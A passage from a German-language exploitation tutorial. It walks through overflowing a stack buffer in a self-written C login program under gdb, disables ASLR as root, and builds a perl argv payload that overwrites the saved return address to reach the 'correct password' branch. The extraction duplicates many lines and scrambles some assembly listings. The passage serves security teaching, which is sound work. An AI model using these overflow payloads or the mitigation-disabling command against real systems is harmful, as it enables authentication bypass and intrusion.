Wir sehen also, dass „Schwerverbrecher“ das richtige Passwort ist. Unser Ziel ist jetzt das Programm dazu zu bringen, uns „Richtiges Passwort“ anzuzeigen, obwohl wir nicht „Schwerverbrecher“ eingeben. Um Daten direkt über die Übergabeparameter einzugeben, benützen wir perl.

Dazu kurz ein Beispiel:

>perl -e 'print "\x41" x 3;'

>perl -e 'print "\x41" x 3;'

AAA

>perl -e 'print "\x41" x 3;' AAA
>perl -e 'print "\x41" x 3 . "\x42\x43" . "123";'

>perl -e 'print "\x41" x 3 . "\x42\x43" . "123";'

AAABC123

>perl -e 'print "\x41" x 3 . "\x42\x43" . "123";' AAABC123

Ich hoffe über die zwei Beispiele habt ihr schon verstanden, wie ihr bestimmte Daten schreiben könnt. Möchtet ihr nun diese Daten als Übergabeparameter übergeben, so müsst ihr am Anfang und am Ende noch ein „`“ Zeichen machen (shift + 2 Mal die Taste neben ß drücken). Hierzu auch noch ein Beispiel:

./login `perl -e 'print "\x41"x12 . "test";'`

Falsches Passwort

 

Programm wird beendet

 

---------------------

So nun wisst ihr, wie ihr die Daten übergebt und habt auch das restliche benötigte Hintergrundwissen. Vielleicht noch ein kurzer Hinweis zu Assembler Befehlen:

Der Befehl „je“ bedeutet „jump if equal“ und wird ausgeführt, wenn das Zero-Flag 0 ist. D.h. es befindet sich vor diesem Befehl ein anderer Befehl, welcher das Zero-Flag beeinflusst. In dem einen Fall wird an die Adresse gesprungen, welche beim „je“ Befehl angegeben ist, im anderen Fall arbeitet das Programm einfach normal weiter und beachtet den Jump-Befehl nicht.

Der Befehl „jmp“ bedeutet, dass auf jeden Fall die angegebene Adresse als nächstes angesprungen wird. Das bedeutet, aus einem gescheiten Zusammenspiel zwischen „je“ und „jmp“ Befehlen kann eine if-Abfrage nachgebildet werden, was hier auch der Fall ist.

Das sollten jetzt genügend Informationen sein, jetzt musst du selbst auf die Lösung kommen! Bitte lies erst weiter, wenn du es auch wirklich selbst geschafft hast oder es nach mehreren Stunden wirklich nicht schaffst. Treten Probleme auf, so kannst du im letzten Beispiel ja nachsehen, wie wir dort vorgegangen sind.

Die Lösung:

Wir öffnen das Programm mit gdb und sehen uns den Quellcode an:

>gdb login >list 1
>gdb login
>list 1

warning: Source file is more recent than executable.

1

#include <stdio.h>

2

#include <string.h>

3

4

int main(int argc, char*argv[])

5

{

6

char buffer_password_insert[34];

7

char buffer_password_correct[34] = "Schwerverbrecher";

8

strcpy(buffer_password_insert, argv[1]);

9

10

if(strcmp(buffer_password_insert,buffer_password_correct))

(gdb)

11

{

12

printf("Falsches Passwort\n");

13

printf("Programm wird beendet\n");

14

printf("---------------------\n\n");

15

}

16

else

17

{

18

printf("Richtiges Passwort\n");

19

printf("Programm startet sensible Daten\n");

20

printf("---------------------\n\n");

(gdb)

21

}

22

return 0;

23

}

In Zeile 8 werden unsere übergebenen Zeichen in den Puffer geschrieben, das heißt, wir sehen uns den Stack danach an. Deshalb erstellen wir einen Breakpoint in Zeile 10:

>break 10

>break 10 Breakpoint 1 at 0x804847f: file login.c, line 10.
Breakpoint 1 at 0x804847f: file login.c, line 10.

Breakpoint 1 at 0x804847f: file login.c, line 10.

Und nun starten wir das Programm und übergeben mehrere Zeichen (ich habe hier 55 übergeben, also einfach mal mit irgendeiner Zahl beginnen und dann weiter rantesten).

>run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/rifler/Tutorial/Tutorial 4/login

>run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/rifler/Tutorial/Tutorial 4/login

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Starting program: /home/rifler/Tutorial/Tutorial 4/login AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, main (argc=1094795585, argv=0x41414141) at login.c:10 10
Breakpoint 1, main (argc=1094795585, argv=0x41414141) at login.c:10
10
if(strcmp(buffer_password_insert,buffer_password_correct))
>info frame
Stack level 0, frame at 0xbfa1e6e0:
eip = 0x804847f in main (login.c:10); saved eip 0x41414141
source language c.
Arglist at 0xbfa1e6d8, args: argc=1094795585, argv=0x41414141
Locals at 0xbfa1e6d8, Previous frame's sp is 0xbfa1e6e0
Saved registers:
ebp at 0xbfa1e6d8, eip at 0xbfa1e6dc

Wir sehen, dass saved eip mit 0x41 überschrieben wurde, also haben wir mit unseren „A“ Zeichen RET verändert. Um die genaue Anzahl der A-Zeichen zu ermitteln, tauschen wir ein paar mit anderen Buchstaben aus:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB

 

The program being debugged has been started already.

 

Start it from the beginning? (y or n) y

 

Starting program: /home/rifler/Tutorial/Tutorial 4/login

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB

 

Breakpoint 1, main (argc=4342338, argv=0xbffd4d24) at login.c:10

 

10

if(strcmp(buffer_password_insert,buffer_password_correct))

(gdb) info frame

 

Stack level 0, frame at 0xbffd4ca0:

 

eip = 0x804847f in main (login.c:10); saved eip 0x42424242

 

source language c.

 

Arglist at 0xbffd4c98, args: argc=4342338, argv=0xbffd4d24

 

Locals at 0xbffd4c98, Previous frame's sp is 0xbffd4ca0

 

Saved registers:

 

ebp at 0xbffd4c98, eip at 0xbffd4c9c

 

RET wurde mit „B“ überschrieben, also tauschen wir ein paar „B“ mit „C“ aus:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCCCCCC The program being debugged has been started already. Start it from the
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCCCCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/rifler/Tutorial/Tutorial 4/login
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCCCCCC
Breakpoint 1, main (argc=0, argv=0xbfc1f964) at login.c:10
10
if(strcmp(buffer_password_insert,buffer_password_correct))
(gdb) info frame
Stack level 0, frame at 0xbfc1f8e0:
eip = 0x804847f in main (login.c:10); saved eip 0x43434343
source language c.
Arglist at 0xbfc1f8d8, args: argc=0, argv=0xbfc1f964
Locals at 0xbfc1f8d8, Previous frame's sp is 0xbfc1f8e0
Saved registers:
ebp at 0xbfc1f8d8, eip at 0xbfc1f8dc

In RET stehen nun „C“, also machen wir das Spiel weiter und tauschen auf „D“:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCCDDDD The program being debugged has been started already. Start it from the
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCCDDDD
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/rifler/Tutorial/Tutorial 4/login
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCCDDDD
Breakpoint 1, main (argc=0, argv=0xbfee7c34) at login.c:10
10
if(strcmp(buffer_password_insert,buffer_password_correct))
(gdb) info frame
Stack level 0, frame at 0xbfee7bb0:
eip = 0x804847f in main (login.c:10); saved eip 0x44444444
source language c.
Arglist at 0xbfee7ba8, args: argc=0, argv=0xbfee7c34
Locals at 0xbfee7ba8, Previous frame's sp is 0xbfee7bb0
Saved registers:
ebp at 0xbfee7ba8, eip at 0xbfee7bac

Perfekt, wir müssen nur die „D“ Zeichen nun mit unserer gewollten Adresse austauschen. Hier noch einmal zur Verdeutlichung:

run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCC1234 The program being debugged has been started already. Start it from the
run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCC1234
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/rifler/Tutorial/Tutorial 4/login
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBCC1234
Breakpoint 1, main (argc=0, argv=0xbf80bd54) at login.c:10
10
if(strcmp(buffer_password_insert,buffer_password_correct))
(gdb) info frame
Stack level 0, frame at 0xbf80bcd0:
eip = 0x804847f in main (login.c:10); saved eip 0x34333231
source language c.
Arglist at 0xbf80bcc8, args: argc=0, argv=0xbf80bd54
Locals at 0xbf80bcc8, Previous frame's sp is 0xbf80bcd0
Saved registers:
ebp at 0xbf80bcc8, eip at 0xbf80bccc

Hier sehen wir, dass wir RET mit „4321“ überschrieben haben, also müssen wir hier natürlich wieder die Adresse in umgekehrter Reihenfolge eingeben. Doch welche Adresse benötigen wir? Dazu schalten wir zuerst ASLR sicherheitshalber noch einmal aus:

>su

 

Passwort:

 

>echo 0 > /proc/sys/kernel/randomize_va_space

>exit

 

exit

 

Als nächstes öffnen wir wieder unser Programm in gdb und disassemblieren wir die Main- Funktion:

>disas main

 

Dump of assembler code for function main:

 

0x08048424 <main+0>:

push

%ebp

 

0x08048425 <main+1>:

mov

%esp,%ebp

 

0x08048427 <main+3>:

sub

$0x4c,%esp

 

0x0804842a <main+6>:

movl

$0x77686353,-0x44(%ebp)

0x08048431 <main+13>:

movl $0x65767265,-0x40(%ebp) movl $0x65726272,-0x3c(%ebp) movl $0x72656863,-0x38(%ebp)

0x08048438 <main+20>:

0x0804843f <main+27>:

0x08048446 <main+34>:

movl

$0x0,-0x34(%ebp)

 

0x0804844d <main+41>:

movl $0x0,-0x30(%ebp) movl $0x0,-0x2c(%ebp) movl $0x0,-0x28(%ebp) movw $0x0,-0x24(%ebp)

0x08048454 <main+48>:

0x0804845b <main+55>:

0x08048462 <main+62>:

0x08048468 <main+68>:

mov

0xc(%ebp),%eax

 

0x0804846b <main+71>:

add

$0x4,%eax

 

0x0804846e <main+74>:

mov

(%eax),%eax

 

0x08048470 <main+76>:

mov

%eax,0x4(%esp)

 

0x08048474 <main+80>:

lea

-0x22(%ebp),%eax

 

0x08048477 <main+83>:

mov

%eax,(%esp)

 

0x0804847a <main+86>:

call

0x8048340 <strcpy@plt>

 

0x0804847f <main+91>:

lea

-0x44(%ebp),%eax

 

0x08048482 <main+94>:

mov

%eax,0x4(%esp)

 

0x08048486 <main+98>:

lea

-0x22(%ebp),%eax

 

0x08048489 <main+101>:

mov

%eax,(%esp)

 

0x0804848c <main+104>:

call

0x8048360 <strcmp@plt>

0x08048491 <main+109>:

test

%eax,%eax

 

0x08048493 <main+111>:

je

0x80484bb <main+151>

 

0x08048495 <main+113>:

movl

$0x80485b0,(%esp)

 

0x0804849c <main+120>:

call

0x8048350 <puts@plt>

 

0x080484a1 <main+125>:

movl

$0x80485c2,(%esp)

 

0x080484a8 <main+132>:

call

0x8048350 <puts@plt>

 

0x080484ad <main+137>:

movl

$0x80485d8,(%esp)

 

0x080484b4 <main+144>:

call

0x8048350 <puts@plt> 0x80484df <main+187>

 

0x080484b9 <main+149>:

jmp

0x080484bb <main+151>:

movl

$0x80485ef,(%esp)

 

0x080484c2 <main+158>:

call

0x8048350 <puts@plt>

 

0x080484c7 <main+163>:

movl

$0x8048604,(%esp)

 

0x080484ce <main+170>:

call

0x8048350 <puts@plt>

 

0x080484d3 <main+175>:

movl

$0x80485d8,(%esp)

 

0x080484da <main+182>:

call

0x8048350 <puts@plt>

 

0x080484df <main+187>:

mov

$0x0,%eax

 

0x080484e4 <main+192>:

leave

 

0x080484e5 <main+193>:

ret

 

End of assembler dump.

 

In Zeile <main+104> sehen wir den Aufruf der Funktion „strcmp()“. Das heißt, hier in der nähe sollte sich unsere if-Konstruktion befinden. Diese sehen wir auch in Zeile <main+111>, da dort je nach dem Ergebnis der vorherigen Überprüfung EIP manipuliert wird. Entweder wird weiter mit Zeile <main+151> fortgefahren oder mit Zeile <main+113>. Wird mit <main+113> fortgefahren, so arbeitet das Programm bis <main+149> und springt dann an das Ende der main-Funktion, nämlich zu <main+187>. Dort wird noch null als Statuscode in das Register eax geschrieben und danach wird das Programm beendet. Wird mit <main+151> fortgefahren, so arbeitet das Programm die Codezeilen nach unten ab und kommt auch zu dem gleichen Ende. Das heißt, bei einem dieser beiden Zweige wird „Falsches Passwort“ ausgegeben und bei dem anderen „Richtiges Passwort“. Um festzustellen welches der Zweig für „Richtiges Passwort“ ist, könnten wir zum Beispiel die Zeichenketten auslesen und sehen, bei welchem „Richtiges Passwort“ aufgerufen wird. Wir werden aber einfach für beide Ausgaben RET manipulieren. Übrigens wird bei uns immer „Falsches Passwort“ zuerst ausgegeben, da wir ja die Rücksprungadresse der main-Funktion verändern. Das bedeutet, beim ersten Durchlauf erkennt das Programm ein falsches Passwort und will sich danach beenden. Da die main- Funktion auch nur eine normale Funktion ist, hat diese auch eine Rücksprungadresse und diese manipulieren wir, und zwar so, dass das Programm in den Abzweig mit „Richtiges Passwort“ springt. Also müssen wir zu einer der beiden Adressen springen:

0x08048495 <main+113>:

movl

$0x80485b0,(%esp)

0x080484bb <main+151>:

movl

$0x80485ef,(%esp)

Als nächstes müssen wir noch zählen, wie viele „A“, „B“ und „C“ wir vorher dem Programm übergeben haben, damit wir wissen, wo RET liegt. Bei mir waren es 38.

So nun beenden wir gdb und manipulieren RET:

>./login `perl -e 'print "\x41"x38 . "\xbb\x84\x04\x08";'`

Falsches Passwort

 

Programm wird beendet

 

---------------------

Richtiges Passwort

 

Programm startet sensible Daten

 

---------------------

 

Segmentation fault

Hier habe ich zuerst mit der Adresse vom zweiten Abzweig begonnen, da in unserem C- Quellcode auch „Richtiges Passwort“ im zweiten steht. Wie wir sehen, hat es funktioniert, allerdings erhalten wir am Ende ein „Segmentation fault“, da wir ja die richtige Rücksprungadresse überschrieben haben. Zur Kontrolle noch die zweite Adresse:

./login `perl -e 'print "\x41"x38 . "\x95\x84\x04\x08";'`

Falsches Passwort

 

Programm wird beendet

 

---------------------

Falsches Passwort

 

Programm wird beendet

 

---------------------

Segmentation fault

Wie erwartet erhalten wir zwei Mal die Ausgabe von „Falsches Passwort“. Wir haben also wieder erfolgreich den Programmfluss verändert.

4.5) Eine kleine Denkaufgabe

Bevor wir uns nun wirklich auf BOF´s(Bufferoverflows) mit Shellcode stürzen möchte ich dir noch eine kleine, letzte Aufgabe zeigen, damit wir sehen, ob du es auch wirklich verstanden hast. Hier geht es darum, dass du nur den C-Quellcode und einige Informationen bekommst und nur durch nachdenken herausfinden musst, was das Programm macht. Also nicht das Programm kompilieren – erst wenn du die Lösung kennst!

Quellcode der Datei „logic.c

#include <stdio.h> #include <string.h>

void function(int x, int y, int z)

{

char buffer1[5]; buffer1[0] = 'A'; buffer1[9] += 6; buffer1[2] = 'B';

}

int main(int argc, char*argv[])

{

 

int x = 0;

x = 5;

function(7,12,9);

if(x == 3)

{

x

= 2;

function(39,3,7);

}

else if(x == 7)

{

x

= 3;

}

else

{

x

= 23;

}

printf("%d\n",x);

}

Alleine durch diesen Quellcode könntest du schon herausfinden, was am Ende für eine Zahl ausgegeben wird, allerdings müsstest du dabei teilweise bestimmte Dinge erraten und wir wollen es hier genau wissen. Deshalb erhaltest du noch ein paar Informationen, welche ich aber nicht näher erklären werde:

gdb logic (gdb) list 1 1 #include <stdio.h> 2 #include <string.h> 3 4 void function(int
gdb logic
(gdb) list 1
1
#include <stdio.h>
2
#include <string.h>
3
4
void function(int x, int y, int z)
5
{
6
char buffer1[5];
7
buffer1[0] = 'A';
8
(buffer1[9]) += 6;
9
buffer1[2] = 'B';
10
}
(gdb)
11
12
int main(int argc, char*argv[])
13
{
14
int x = 0;
15
16
x = 5;
17
function(7,12,9);
18
if(x == 3)
19
{
20
x = 2;
(gdb)
21
function(39,3,7);
22
}
23
else if(x == 7)
24
{
25
x = 3;
26
}
27
else
28
{
29
x = 23;
30
}
(gdb)
31
printf("%d\n",x);
32
}

(gdb) break 8

(gdb) break 8 Breakpoint 1 at 0x80483ce: file logic.c, line 8.
Breakpoint 1 at 0x80483ce: file logic.c, line 8.

Breakpoint 1 at 0x80483ce: file logic.c, line 8.

(gdb) run

 

Starting program: /home/rifler/Tutorial/Tutorial 5/logic

Breakpoint 1, function (x=7, y=12, z=9) at logic.c:8

 

8

(buffer1[9]) += 6;

 

(gdb) x /16xw $esp

(gdb) x /16xw $esp 0xbffff4c4: 0x41049ff4 0xbffff4e8 0xbffff4e8 0x0804840e 0xbffff4d4: 0x00000007 0x0000000c 0x00000009
0xbffff4c4: 0x41049ff4 0xbffff4e8 0xbffff4e8 0x0804840e 0xbffff4d4: 0x00000007 0x0000000c 0x00000009 0x08048480

0xbffff4c4: 0x41049ff4 0xbffff4e8 0xbffff4e8 0x0804840e 0xbffff4d4: 0x00000007 0x0000000c 0x00000009 0x08048480 0xbffff4e4: 0x00000005 0xbffff548 0xb7e85775 0x00000001 0xbffff4f4: 0xbffff574 0xbffff57c 0xb7fe0b40 0x00000001

(gdb) info frame Stack level 0, frame at 0xbffff4d4: eip = 0x80483ce in function (logic.c:8);
(gdb) info frame
Stack level 0, frame at 0xbffff4d4:
eip = 0x80483ce in function (logic.c:8); saved eip 0x804840e
called by frame at 0xbffff4f0
source language c.
Arglist at 0xbffff4cc, args: x=7, y=12, z=9
Locals at 0xbffff4cc, Previous frame's sp is 0xbffff4d4
Saved registers:
ebp at 0xbffff4cc, eip at 0xbffff4d0

(gdb) disas main

 

Dump of assembler code for function main:

   

0x080483de <main+0>:

push

%ebp

 

0x080483df <main+1>:

mov

%esp,%ebp

 

0x080483e1 <main+3>:

sub

$0x14,%esp

 

0x080483e4 <main+6>:

movl

$0x0,-0x4(%ebp)

 

0x080483eb <main+13>:

movl

$0x5,-0x4(%ebp)

0x080483f2 <main+20>:

movl

$0x9,0x8(%esp)

 

0x080483fa <main+28>:

movl

$0xc,0x4(%esp)

0x08048402 <main+36>:

movl

$0x7,(%esp)

 

0x08048409 <main+43>: